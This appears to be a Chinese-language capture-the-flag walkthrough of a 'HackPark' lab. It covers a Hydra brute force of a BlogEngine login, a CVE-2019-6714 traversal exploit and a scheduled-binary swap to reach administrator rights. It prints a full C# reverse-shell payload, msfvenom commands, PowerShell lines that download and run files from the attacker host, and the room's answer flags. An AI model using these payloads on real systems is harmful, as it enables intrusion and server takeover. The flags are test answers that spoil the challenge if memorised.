Offensive Pentesting-HackPark

Bruteforce a websites login with Hydra, identify and use a public exploit then escalate your privileges on this Windows machine
使用 Hydra 暴力登录网站,识别并使用公共漏洞,然后升级您在此 Windows 计算机上的权限!

Deploy the vulnerable Windows machine

Connect to our network and deploy this machine. Please be patient as this machine can take up to 5 minutes to boot! You can test if you are connected to our network, by going to our access page. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

这部分告诉我们 这台机器配置了阻止ICMP(ping)探测 我们在尝试使用nmap进行扫描的时候也能发现

image-20241206093037786

建议我们使用-Pn参数 -Pn参数就是跳过存活主机的探测 直接去探测端口

image-20241206093122493

我们先来访问一下web服务

image-20241206093500645

第一题问主页上的小丑叫什么名字 将图片保存下来 识图发现是小丑回魂中的小丑 搜了一下找到名字叫Pennywise

image-20241206093602869

Using Hydra to brute-force a login

我们需要找到要攻击的登录页面,并确定表单向 Web 服务器发出的请求类型。通常,Web 服务器发出两种类型的请求,一种是用于从 Web 服务器请求数据的 GET 请求,另一种是用于将数据发送到服务器的 POST 请求。

Windows 网站登录表单使用什么请求类型?

POST

我们先找登陆表单 点击右侧的三个横线 发现有LOG IN选项

image-20241206093746630

image-20241206093737731

随便写个账号密码 抓个包看 发现是POST请求方式

image-20241206093946833

下面使用hydra来爆破登陆密码

image-20241206100932335

先放完整的命令写法

hydra -l admin -P brutehash/rockyou.txt 10.10.105.93 http-post-form "/Account/login.aspx:__VIEWSTATE=WiQyMbrpvQFvihuDvWvn6Am9t4YDNTQ4FOgKB2a73Be5YNA9RMlwlwG13M8wPEK8mJ5UM%2FLLQzFvKwVDofXSYs4Ycm6VDJwU8scxn8rzf5NYuvICeKT7Xf1naveUEieK33ENL4NVMhT04QiIGXy88arVpxAKjXDVuzDY0hav8ycT3gkc&__EVENTVALIDATION=%2F7fpX2AtdXmM4yvnGc7%2BcqQaZfmcenPVTgp74zesjXhfFrBfm5OB3orCRUw4KfPrbSD6eJItzn3l9r0QTvbi%2BP3b1p5f%2FOTGQ0hiyuvGfuI07T2IvLg7rFvlgt0AsgXYo8vSnxcu06GDShB1rWrYA60amzCMCKOkHDn1GDa26eas5WKC&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -F

三个部分之间都用:隔开
第一部分:登陆页面的地址
/Account/login.aspx 
第二部分:
抓包拿到的post请求部分内容 要将username部分的内容改成^USER^ password部分的内容改成^PASS^
第三部分:
登陆失败时返回的内容

image-20241206103330122

image-20241206103339730

爆破出密码 是1qaz2wsx

image-20241206103554747

此工具不仅适用于暴力破解 HTTP 表单,还适用于其他协议,如 FTP、SSH、SMTP、SMB 等。

Command Description
hydra -P -v 对您选择的协议进行暴力破解
hydra -v -V -u -L -P -t 1 -u 您可以使用 Hydra 暴力破解用户名和密码。它将遍历您列表中的每个组合。(-vV = 详细模式,显示登录尝试
hydra -t 1 -V -f -l -P rdp:// 使用密码列表攻击 Windows 远程桌面
hydra -l -P . $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’ 为 Hydra 制定一个更具体的请求以使用蛮力。

Compromise the machine

Now you have logged into the website, are you able to identify the version of the BlogEngine?

3.3.6.0

我们在登录到后台之后 可以在About中看到使用的框架版本

image-20241206105904576

搜一下 BlogEngine 3.3.6的漏洞

image-20241206105942260

就选第一个 复制出来 查看内容 看到漏洞编号

image-20241206110034004

What is the CVE?

CVE-2019-6714

下面就是利用漏洞来获得机器的shell 给的漏洞利用文件原理:

这个漏洞(CVE-2019-6714)是由 BlogEngine.NET(版本 3.3.6 及更早版本)中的目录遍历漏洞引起的,导致远程代码执行 该漏洞的关键在于未对 theme 参数进行适当的验证,使攻击者能够通过修改该参数进行目录遍历,从而执行恶意代码。

上传恶意脚本:

首先,需要通过 BlogEngine.NET 的管理界面上传恶意的 PostView.ascx 文件。该文件应当包含反弹 shell(即你提供的 C# 代码)。上传文件通常是在文章编辑页面进行,通过点击工具栏中的文件图标上传文件。该文件会被保存在 /App_Data/files 目录下。
上传的恶意文件示例为:

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);
    
        using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.14.92.176", 4445)) {
            using(System.IO.Stream stream = client.GetStream()) {
                using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                    streamWriter = new System.IO.StreamWriter(stream);

                    StringBuilder strInput = new StringBuilder();

                    System.Diagnostics.Process p = new System.Diagnostics.Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();

                    while(true) {
                        strInput.Append(rdr.ReadLine());
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                }
            }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data)) {
            try {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            } catch (Exception err) { }
        }
    }
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

image-20241206110921115

触发恶意文件

上传并保存恶意文件后,访问网站,构造一个恶意的 URL 来触发漏洞:

http://10.10.252.193/?theme=../../App_Data/files

theme 参数被用来加载指定路径的文件。由于缺乏路径验证,可以通过使用 ../../ 来进行目录遍历,访问上传的恶意文件,并导致执行反向 shell。

反弹shell

nc -nlvp 4445

image-20250309162132021

访问后 得到反弹的shell 执行whoami 得到web服务器运行的身份

iis apppool\blog

Windows Privilege Escalation(windows权限提升)

切换meterpreter shell

nc生成的会话不是很稳定 这里还是选择切换到 meterpreter shell

使用 msfvenom 通过以下有效负载创建 Windows meterpreter 反向 shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.114.143 LPORT=1234 -f exe -o reverse.exe

image-20250309164205686

然后我们开启apache服务 将生成的反弹shell负载放到网站根目录

systemctl start apache2.service
cp reverse.exe /var/www/html/reverse.exe

在上面使用nc开启的shell中将这个reverse.exe下载下来

cd C:\Windows\Temp
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.114.143/reverse.exe','reverse.exe')"

image-20250309165221550

再来配置msfconsole

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.11.114.143 
set LPORT 1234 # 和前面生成reverse.exe一个端口

image-20250309202404693

然后输入run 同时在前面nc开启的shell中输入reverse.exe运行反弹shell负载

成功开启了meterpreter shell 输入sysinfo查看了靶机的操作系统信息

image-20250309202902701

What is the OS version of this windows machine?

Windows 2012 R2 (6.3 Build 9600)

WinPeas提升权限

这里使用WinPeas进行提权 可以从github上下载Release Release refs/heads/master 20250301-c97fb02a · peass-ng/PEASS-ng

PEASS-ng是一款全平台提权工具,适用于Windows/linux/unix*/macOS提权.
这些工具搜索可能的本地权限提升路径,您可以利用这些路径并将它们以漂亮的颜色打印给您,以便您可以轻松识别错误配置。

还从nc的shell传上去也可以 从meterpreter的shell上传过去也行

# 从nc-shell上传
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.114.143/winpeas.exe','winpeas.exe')"

# 从meterpreter shell上传
upload /home/w3nx1z1/桌面/提权/winpeas/winPEASX64.exe
shell

然后直接运行

image-20250309210247180

题目是

Can you spot a service running some automated task that could be easily exploited? What is the name of this service?

要找一个运行某些自动任务的服务 那就搜索service

image-20250309210435856

发现WindowsScheduler是自动运行 且权限是所有用户可以写可以创建 下面也提示了可能存在dll劫持的文件夹

Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])

进去看一下 看到Events文件夹 再进去找到一个20198415519.INI_LOG.txt 日志文件

发现自动运行的二进制文件就是Message.exe 差不多是每半分钟运行一次 且权限是Administrator

image-20250309210909373

那就有一个思路了 我们在创建一个反弹shell负载 改名成Message.exe 并替换原有的Message.exe 等待自动运行的时候就会自动反弹到shell 同时因为是使用管理员权限运行的 我们拿到的shell也是管理员权限的

新开一个msfconsole接受管理员权限的shell 端口为2333 下面我们生成reverse shell负载也用这个端口

image-20250309213352584

生成reverse shell负载

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.114.143 LPORT=2333 -f exe -o Message.exe

在前面的shell中将原来的Message.exe改名为Message.bak 下载到这个Message.exe反弹shell负载

rename Message.exe Message.bak
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.114.143/Message.exe','Message.exe')"

image-20250309213547937

image-20250309213724308

回到前面新开的msf中输入run 开始准备接受反弹shell

等差不多半分钟 成功接收到shell

image-20250309214856559

读jeff和Administator用户桌面下的flag

image-20250309214944019

image-20250309214949882

回答问题

Can you spot a service running some automated task that could be easily exploited? What is the name of this service?

WindowsScheduler

What is the name of the binary you’re supposed to exploit?

Message.exe

What is the user flag (on Jeffs Desktop)?

759bd8af507517bcfaede78a21a73e39

What is the root flag?

7e13d97f05f7ceb9881a3eb3d78d3e72

what was the Original Install time? (This is date and time)

8/3/2019, 10:43:23 AM  # 查询系统原始安装时间用systeminfo

思路总结

1.找到登陆页面后 利用hydra抓包爆破出登陆的账号密码

2.进入后台 找到框架的版本对应的漏洞 上传反弹shell恶意代码 利用目录遍历 执行恶意代码 获取到最初的shell

3.利用低权限的shell上传msfvenom生成的反弹shell负载 切换到meterpreter shell

4.利用winpeas找到可能被利用的权限提升的路径 发现是一个以管理员权限运行的定时任务

5.再次使用msfvenom生成反弹shell负载 替换掉定时任务运行的Message.exe

6.等待自动运行时 成功反弹到管理员权限的shell 读取普通用户和管理员用户下的flag